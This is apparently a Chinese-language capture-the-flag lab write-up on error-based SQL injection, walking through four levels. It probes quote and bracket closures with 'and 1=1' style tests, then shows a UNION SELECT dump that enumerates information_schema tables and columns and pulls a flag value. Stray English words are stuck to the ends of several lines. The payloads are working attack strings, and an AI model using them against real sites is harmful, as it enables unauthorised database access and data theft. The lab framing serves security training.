SQL注入的本质:就是将用户输入的数据看成代码带入执行。
注入条件:
1.用户能控制输入
2.可以将程序本来执行的代码,拼接上用户输入的数据进行执行数据库
构造语句 ?id=1 and 1=1 没有报错3d
?id=1 and 1=2 也没有显示错误,检查是否被过滤了orm
?id=1' and 1=1 出现错误,说明这里被单引号过滤掉了blog
?id=1' and 1=1 --+ 回显正确 存在注入it
?id=1 and 1=1 回显正确io
?id=1 and 1=2 回显错误,判断存在注入table
构造:?id=1 and 1=1 回显正确form
?id=1 and 1=2 回显正确select
?id=1' and 1=1 --+ 闭合引号回显错误,表示出现其余闭合nio
?id=1')and 1=1 --+ 尝试闭合括号进行绕过,回显正确,存在注入
构造语句:?id=1 and 1=1 回显正确
?id=1 and 1=2 回显正确,判断存在过滤
?id=1'and 1=1 --+ 判断是否存在'闭合 回显正确
?id=1'and 1=2 --+ 回显正确 表示未出现'闭合
?id=1)and 1=1--+ 判断是否存在括号闭合 回显正确
?id=1)and 1=2--+ 依然回显正确
?id=1" and 1 = 1 --+再试一下是否存在"闭合,回显错误,证实存在"闭合
?id=1") and 1 = 1 --+ 尝试和)一块儿判断过滤,回显正确,存在注入
因为Rank1-Rank4 都是显错注入,除了过滤以外的步骤都相同,就以Rank1进行脱库步骤
?id=1' order by 5 --+ 判断字段数及回显点,显示错误,说明字段小于5
?id=1' order by 3 --+
?id=0'union select 1,2,3 --+
这里选择2和3构建子查询均可
?id=0'union select 1,database(),3 --+
?id=0'union select 1,(select group_concat(table_name) from information_schema.tables where table_schema ='security'),3 --+
由于是找flag,就查找咱们以为最有可能存在的表
?id=0'union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'zkaq'),3 --+
存在flag
?id=0'union select 1,(select group_concat(flag,zKaQ) from security.zkaq),3 --+